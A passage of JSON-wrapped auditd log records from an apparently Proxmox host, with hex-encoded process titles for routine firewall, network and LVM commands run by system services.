nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964680008,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964680.008:62122): proctitle=2F7573722F7362696E2F756E69785F63686B70776400726F6F74006E756C6C6F6B"} {"@timestamp":1781966015522,"@rawstring":"node=pve type=PATH msg=audit(1781966015.522:68081): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964680006,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964680.006:62121): proctitle=2F7573722F7362696E2F756E69785F63686B70776400726F6F74006E756C6C6F6B"} {"@timestamp":1781966015522,"@rawstring":"node=pve type=PATH msg=audit(1781966015.522:68081): item=0 name=\"/sbin/ip6tables-restore\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964675289,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964675.289:62120): proctitle=2F7573722F7362696E2F65627461626C6573002D740066696C746572002D4C"} {"@timestamp":1781966015514,"@rawstring":"node=pve type=PATH msg=audit(1781966015.514:68080): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964675286,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964675.286:62119): proctitle=7368002D630067726570202D4520275E65627461626C655F27202F70726F632F6D6F64756C6573207C20637574202D6631202D64272027207C2073656420732F65627461626C655F2F2F"} {"@timestamp":1781966015514,"@rawstring":"node=pve type=PATH msg=audit(1781966015.514:68080): item=0 name=\"/sbin/ip6tables-restore\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964675285,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964675.285:62118): proctitle=2F7573722F62696E2F7065726C002D77002F7362696E2F65627461626C65732D73617665"} {"@timestamp":1781966015509,"@rawstring":"node=pve type=PATH msg=audit(1781966015.509:68079): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964675285,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964675.285:62117): proctitle=2F7573722F62696E2F7065726C002D77002F7362696E2F65627461626C65732D73617665"} {"@timestamp":1781966015509,"@rawstring":"node=pve type=PATH msg=audit(1781966015.509:68079): item=0 name=\"/sbin/iptables-restore\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964675281,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964675.281:62116): proctitle=2F7573722F62696E2F7065726C002D77002F7362696E2F65627461626C65732D73617665"} {"@timestamp":1781966015501,"@rawstring":"node=pve type=PATH msg=audit(1781966015.501:68078): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964675276,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964675.276:62115): proctitle=\"ip6tables-save\""} {"@timestamp":1781966015501,"@rawstring":"node=pve type=PATH msg=audit(1781966015.501:68078): item=0 name=\"/sbin/iptables-restore\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964675270,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964675.270:62114): proctitle=\"iptables-save\""} {"@timestamp":1781966015494,"@rawstring":"node=pve type=PATH msg=audit(1781966015.494:68077): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964675264,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964675.264:62113): proctitle=\"ip6tables-save\""} {"@timestamp":1781966015494,"@rawstring":"node=pve type=PATH msg=audit(1781966015.494:68077): item=0 name=\"/sbin/ipset\" inode=275589 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964675257,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964675.257:62112): proctitle=\"iptables-save\""} {"@timestamp":1781966015485,"@rawstring":"node=pve type=PATH msg=audit(1781966015.485:68076): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964675254,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964675.254:62111): proctitle=\"ebtables-restore\""} {"@timestamp":1781966015485,"@rawstring":"node=pve type=PATH msg=audit(1781966015.485:68076): item=0 name=\"/sbin/ip6tables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964675252,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964675.252:62110): proctitle=\"ebtables-restore\""} {"@timestamp":1781966015477,"@rawstring":"node=pve type=PATH msg=audit(1781966015.477:68075): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964675249,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964675.249:62109): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781966015477,"@rawstring":"node=pve type=PATH msg=audit(1781966015.477:68075): item=0 name=\"/sbin/iptables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964675249,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964675.249:62108): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781966015472,"@rawstring":"node=pve type=PATH msg=audit(1781966015.472:68074): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964675249,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964675.249:62107): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781966015472,"@rawstring":"node=pve type=PATH msg=audit(1781966015.472:68074): item=0 name=\"/usr/sbin/ebtables\" inode=274519 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964675246,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964675.246:62106): proctitle=6970367461626C65732D726573746F7265002D5400726177002D6E"} {"@timestamp":1781966015469,"@rawstring":"node=pve type=PATH msg=audit(1781966015.469:68073): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964675241,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964675.241:62105): proctitle=6970367461626C65732D726573746F7265002D540066696C746572002D6E"} {"@timestamp":1781966015469,"@rawstring":"node=pve type=PATH msg=audit(1781966015.469:68073): item=0 name=\"/bin/sh\" inode=260675 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964675241,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964675.241:62104): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781966015468,"@rawstring":"node=pve type=PATH msg=audit(1781966015.468:68072): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964675241,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964675.241:62103): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781966015468,"@rawstring":"node=pve type=PATH msg=audit(1781966015.468:68072): item=0 name=\"/bin/date\" inode=260676 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964675241,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964675.241:62102): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781966015468,"@rawstring":"node=pve type=PATH msg=audit(1781966015.468:68071): item=0 name=\"/sbin/date\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964675236,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964675.236:62101): proctitle=69707461626C65732D726573746F7265002D5400726177002D6E"} {"@timestamp":1781966015464,"@rawstring":"node=pve type=PATH msg=audit(1781966015.464:68070): item=2 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964675231,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964675.231:62100): proctitle=69707461626C65732D726573746F7265002D540066696C746572002D6E"} {"@timestamp":1781966015464,"@rawstring":"node=pve type=PATH msg=audit(1781966015.464:68070): item=1 name=\"/usr/bin/perl\" inode=260857 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964675226,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964675.226:62099): proctitle=697073657400726573746F7265"} {"@timestamp":1781966015464,"@rawstring":"node=pve type=PATH msg=audit(1781966015.464:68070): item=0 name=\"/sbin/ebtables-save\" inode=274521 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964675219,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964675.219:62098): proctitle=\"ip6tables-save\""} {"@timestamp":1781966015457,"@rawstring":"node=pve type=PATH msg=audit(1781966015.457:68069): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964675213,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964675.213:62097): proctitle=\"iptables-save\""} {"@timestamp":1781966015457,"@rawstring":"node=pve type=PATH msg=audit(1781966015.457:68069): item=0 name=\"/sbin/ip6tables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964675210,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964675.210:62096): proctitle=2F7573722F7362696E2F65627461626C6573002D740066696C746572002D4C"} {"@timestamp":1781966015449,"@rawstring":"node=pve type=PATH msg=audit(1781966015.449:68068): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964675206,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964675.206:62095): proctitle=7368002D630067726570202D4520275E65627461626C655F27202F70726F632F6D6F64756C6573207C20637574202D6631202D64272027207C2073656420732F65627461626C655F2F2F"} {"@timestamp":1781966015449,"@rawstring":"node=pve type=PATH msg=audit(1781966015.449:68068): item=0 name=\"/sbin/iptables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964675205,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964675.205:62094): proctitle=2F7573722F62696E2F7065726C002D77002F7362696E2F65627461626C65732D73617665"} {"@timestamp":1781966015443,"@rawstring":"node=pve type=PATH msg=audit(1781966015.443:68067): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964675205,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964675.205:62093): proctitle=2F7573722F62696E2F7065726C002D77002F7362696E2F65627461626C65732D73617665"} {"@timestamp":1781966015443,"@rawstring":"node=pve type=PATH msg=audit(1781966015.443:68067): item=0 name=\"/sbin/ipset\" inode=275589 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964675201,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964675.201:62092): proctitle=2F7573722F62696E2F7065726C002D77002F7362696E2F65627461626C65732D73617665"} {"@timestamp":1781966015435,"@rawstring":"node=pve type=PATH msg=audit(1781966015.435:68066): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964675196,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964675.196:62091): proctitle=\"ip6tables-save\""} {"@timestamp":1781966015435,"@rawstring":"node=pve type=PATH msg=audit(1781966015.435:68066): item=0 name=\"/sbin/ip\" inode=260771 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964675189,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964675.189:62090): proctitle=\"iptables-save\""} {"@timestamp":1781966015426,"@rawstring":"node=pve type=PATH msg=audit(1781966015.426:68065): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964675184,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964675.184:62089): proctitle=69707365740073617665"} {"@timestamp":1781966015426,"@rawstring":"node=pve type=PATH msg=audit(1781966015.426:68065): item=0 name=\"/sbin/ip\" inode=260771 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964675177,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964675.177:62088): proctitle=6970002D64657461696C73002D6A736F6E006C696E6B0073686F77"} {"@timestamp":1781966015100,"@rawstring":"node=pve type=PATH msg=audit(1781966015.100:68064): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964675170,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964675.170:62087): proctitle=6970002D64657461696C73002D6A736F6E006C696E6B0073686F77"} {"@timestamp":1781966015100,"@rawstring":"node=pve type=PATH msg=audit(1781966015.100:68064): item=0 name=\"/usr/sbin/nft\" inode=289607 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964674672,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964674.672:62086): proctitle=2F7362696E2F6C7673002D2D736570617261746F72003A002D2D6E6F68656164696E6773002D2D756E6974730062002D2D756E6275666665726564002D2D6E6F737566666978002D2D636F6E666967007265706F72742F74696D655F666F726D61743D22257322002D2D6F7074696F6E730076675F6E616D652C6C765F6E616D"} {"@timestamp":1781966015100,"@rawstring":"node=pve type=PATH msg=audit(1781966015.100:68063): item=0 name=\"/usr/local/bin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964674648,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964674.648:62085): proctitle=2F7362696E2F766773002D2D736570617261746F72003A002D2D6E6F68656164696E6773002D2D756E6974730062002D2D756E6275666665726564002D2D6E6F737566666978002D2D6F7074696F6E730076675F6E616D652C76675F73697A652C76675F667265652C6C765F636F756E74"} {"@timestamp":1781966015100,"@rawstring":"node=pve type=PATH msg=audit(1781966015.100:68062): item=0 name=\"/usr/local/sbin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964671683,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964671.683:62083): proctitle=2F7573722F7362696E2F756E69785F63686B70776400726F6F74006E756C6C6F6B"} {"@timestamp":1781966015093,"@rawstring":"node=pve type=PATH msg=audit(1781966015.093:68061): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964671680,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964671.680:62082): proctitle=2F7573722F7362696E2F756E69785F63686B70776400726F6F74006E756C6C6F6B"} {"@timestamp":1781966015093,"@rawstring":"node=pve type=PATH msg=audit(1781966015.093:68061): item=0 name=\"/usr/sbin/nft\" inode=289607 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964671643,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964671.643:62081): proctitle=2F7573722F7362696E2F756E69785F63686B70776400726F6F74006E756C6C6F6B"} {"@timestamp":1781966015093,"@rawstring":"node=pve type=PATH msg=audit(1781966015.093:68060): item=0 name=\"/usr/local/bin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964671639,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964671.639:62080): proctitle=2F7573722F7362696E2F756E69785F63686B70776400726F6F74006E756C6C6F6B"} {"@timestamp":1781966015093,"@rawstring":"node=pve type=PATH msg=audit(1781966015.093:68059): item=0 name=\"/usr/local/sbin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964670233,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964670.233:62079): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781966014505,"@rawstring":"node=pve type=PATH msg=audit(1781966014.505:68058): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964670233,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964670.233:62078): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781966014505,"@rawstring":"node=pve type=PATH msg=audit(1781966014.505:68058): item=0 name=\"/sbin/lvs\" inode=265377 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964670233,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964670.233:62077): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781966014472,"@rawstring":"node=pve type=PATH msg=audit(1781966014.472:68057): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964670222,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964670.222:62076): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781966014472,"@rawstring":"node=pve type=PATH msg=audit(1781966014.472:68057): item=0 name=\"/sbin/vgs\" inode=265377 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964670222,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964670.222:62075): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781966010083,"@rawstring":"node=pve type=PATH msg=audit(1781966010.083:68056): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964670222,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964670.222:62074): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781966010083,"@rawstring":"node=pve type=PATH msg=audit(1781966010.083:68056): item=0 name=\"/usr/sbin/nft\" inode=289607 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964667876,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964667.876:62072): proctitle=2F7573722F7362696E2F756E69785F63686B70776400726F6F74006E756C6C6F6B"} {"@timestamp":1781966010083,"@rawstring":"node=pve type=PATH msg=audit(1781966010.083:68055): item=0 name=\"/usr/local/bin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964667874,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964667.874:62071): proctitle=2F7573722F7362696E2F756E69785F63686B70776400726F6F74006E756C6C6F6B"} {"@timestamp":1781966010083,"@rawstring":"node=pve type=PATH msg=audit(1781966010.083:68054): item=0 name=\"/usr/local/sbin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964667836,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964667.836:62070): proctitle=2F7573722F7362696E2F756E69785F63686B70776400726F6F74006E756C6C6F6B"} {"@timestamp":1781966010078,"@rawstring":"node=pve type=PATH msg=audit(1781966010.078:68053): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964667833,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964667.833:62069): proctitle=2F7573722F7362696E2F756E69785F63686B70776400726F6F74006E756C6C6F6B"} {"@timestamp":1781966010078,"@rawstring":"node=pve type=PATH msg=audit(1781966010.078:68053): item=0 name=\"/usr/sbin/nft\" inode=289607 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964665214,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964665.214:62068): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781966010078,"@rawstring":"node=pve type=PATH msg=audit(1781966010.078:68052): item=0 name=\"/usr/local/bin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964665214,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964665.214:62067): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781966010078,"@rawstring":"node=pve type=PATH msg=audit(1781966010.078:68051): item=0 name=\"/usr/local/sbin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964665214,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964665.214:62066): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781966005414,"@rawstring":"node=pve type=PATH msg=audit(1781966005.414:68050): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964665207,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964665.207:62065): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781966005414,"@rawstring":"node=pve type=PATH msg=audit(1781966005.414:68050): item=0 name=\"/usr/sbin/ebtables\" inode=274519 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964665207,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964665.207:62064): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781966005411,"@rawstring":"node=pve type=PATH msg=audit(1781966005.411:68049): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964665206,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964665.206:62063): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781966005411,"@rawstring":"node=pve type=PATH msg=audit(1781966005.411:68049): item=0 name=\"/bin/sh\" inode=260675 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964665159,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964665.159:62062): proctitle=2F7573722F7362696E2F65627461626C6573002D740066696C746572002D4C"} {"@timestamp":1781966005410,"@rawstring":"node=pve type=PATH msg=audit(1781966005.410:68048): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964665155,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964665.155:62061): 